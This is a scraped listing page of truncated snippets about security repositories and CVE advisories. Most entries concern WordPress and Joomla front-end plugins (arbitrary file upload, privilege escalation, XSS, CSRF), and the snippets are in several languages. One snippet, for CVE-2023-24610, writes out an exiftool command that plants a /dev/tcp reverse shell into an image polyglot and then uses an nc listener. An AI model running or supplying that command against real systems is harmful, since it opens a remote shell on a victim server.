CVE-2025-2005

Эксплойт произвольной загрузки файлов WordPress FEUP CVE-2025-2005 Этот репозиторий содержит PoC-эксплойт для плагина WordPress Front End Users версии до 3.2.32, уязвимого к произвольной загрузке файлов из-за отсутствия проверки MIME/типа файла в форме регистрации. Это позволяет...

BUI-select-xss

BUI-select-xss cve-2018-8108 Durante um teste de segurança, descobri acidentalmente este problema. BUI é um framework front-end, muitas empresas o utilizam para construir seus próprios front-ends. Normalmente, nossa forma de prevenir XSS é tratar toda entrada do usuário como não confiável,...

CVE-2025-2005

CVE-2025-2005 - Pwn nel plugin WordPress Front-End Users By h4ckxel Info Rapida Plugin: Front-End Users Versioni vulnerabili: = 3.2.32 Tipo di bug: Arbitrary File Upload Punteggio CVSS: 10 Critico Rischio: Consente a qualsiasi attaccante senza autenticazione di caricare file arbitrari es. web she...

CVE-2025-47646

CVE-2025-47646 PoC Эксплойт неавторизованного повышения привилегий для WordPress PSW Front-end Login Registration Plugin ≤ 1.12 📖 Описание Этот скрипт на Python является эксплойтом proof-of-concept PoC для CVE-2025-47646 , нацеленным на уязвимость в WordPress PSW Front-end Login Registration Plug...

DbgShell

DbgShell Un front-end PowerShell per il motore di debug di Windows. Pronto per tabulare verso la gloria? Per un'introduzione più rapida, dai un'occhiata a Primi passi. Avvertenze 1. Questo progetto non è prodotto, approvato o monitorato dal team di debug di Windows. Mentre il team di debug accogl...

PS2EXE

Repository senza IA - l'intelligenza artificiale sta uccidendo la creatività e la nostra natura! PS2EXE Rielaborazione del grande script di Ingo Karstein con supporto GUI. L'output e l'input GUI sono attivati con un solo interruttore, vengono generati eseguibili Windows reali. Compila solo script...

PatrowlManager

Codacy Badge PatrOwl PatrOwl è una soluzione scalabile, gratuita e open-source per orchestrare le operazioni di sicurezza. PatrowlManager è l'applicazione front-end per la gestione degli asset, la revisione dei rischi in tempo reale, l'orchestrazione delle operazioni scansioni, ricerche, chiamate...

CVE-2025-47646

🔐 CVE-2025-47646 – PSW Front-end Login & Registration = 1.12 📌 Informazioni sul Plugin Plugin : PSW Front-end Login & Registration Versione vulnerabile : = 1.12 CVE : CVE-2025-47646 Gravità : Alta CVSS 9.8 Tipo di vulnerabilità : Autenticazione compromessa Privilegio richiesto : Nessuno non...

CVE-2023-24610

CVE-2023-24610 Questa è una prova di concetto per CVE-2023-24610 Iniziamo creando un file poliglotta usando exiftool: exiftool -Comment="/dev/tcp/172.17.0.1/8888 " avatar.png -o polyglot.php Cambiamo il file in png in modo che superi il controllo del front-end Dopo di che, avviamo un listener nc...

Packer-Fuzzer

Packer Fuzzer Uno strumento di scansione per rilevare rapidamente ed efficacemente la sicurezza dei siti web costruiti con Webpack e altri strumenti di bundling front-end. Prodotto con onore da Poc-Sir, KpLi0rn, Liucy, RachesseHS, Lupin-III...

WordPress Front End Users - Reflected XSS

WordPress Front End Users plugin = 3.2.32 contains a reflected cross-site scripting caused by lack of sanitization and escaping of a parameter before outputting it in the page, letting attackers execute malicious scripts in the context of high privilege users, exploit requires attacker to craft a...

ivre-wizard

root@kitploit: IVRE . \ ,/ \ |\ / | | //\ | \ /\ | | / | '/ | / /\oo/\ | |/ / | | | | | | /\ // |/,|| ,| Von BitBurner ivre-wizard Ein interaktiver Wizard-Frontend für IVRE, um das Erstellen von Scans in der Datenbank zu vereinfachen. Warum? Ich habe dieses Skript erstellt, um Scans mit IVRE...

CVE-2025-2005

CVE-2025-2005 Il plugin WordPress Front End Users = 3.2.32 è vulnerabile al caricamento arbitrario di file Exploit del Plugin WordPress Front-End Users Informazioni sulla Vulnerabilità Nome del Plugin : Front-End Users Plugin Versione Affetta : = 3.2.32 Tipo di Vulnerabilità : Caricamento...

CVE-2026-77029

Joomla Extension - yootheme.com - Missing CSRF tokens on front-end state changes in Zoo 4.1.66...

CVE-2026-77029 Joomla Extension - yootheme.com - Missing CSRF tokens on front-end state changes in Zoo < 4.1.66

Joomla Extension - yootheme.com - Missing CSRF tokens on front-end state changes in Zoo 4.1.66...

EUVD-2026-63934

Joomla Extension - yootheme.com - Missing CSRF tokens on front-end state changes in Zoo 4.1.66...

CVE-2026-77029 Joomla Extension - yootheme.com - Missing CSRF tokens on front-end state changes in Zoo < 4.1.66

Joomla Extension - yootheme.com - Missing CSRF tokens on front-end state changes in Zoo 4.1.66...

CVE-2026-77029

Zoo , a Joomla extension by yootheme.com , is affected by a missing CSRF token vulnerability on front-end state changes in versions prior to 4.1.66 . The CVSS 4.0 base score is 4.6 (MEDIUM) , with high privileges and active user interaction required, resulting in low integrity impact . No exploit...

CVE-2026-14325

The Drag and Drop Multiple File Upload for Contact Form 7 WordPress plugin before 1.3.9.9 does not escape one of its settings before using it as an HTML tag name in front-end output, allowing users with administrator access to inject arbitrary web scripts that execute on any front-end page...

CVE-2026-14325 Drag and Drop Multiple File Upload for Contact Form 7 < 1.3.9.9 - Admin+ Stored XSS via drag_n_drop_heading_tag Setting

The Drag and Drop Multiple File Upload for Contact Form 7 WordPress plugin before 1.3.9.9 does not escape one of its settings before using it as an HTML tag name in front-end output, allowing users with administrator access to inject arbitrary web scripts that execute on any front-end page...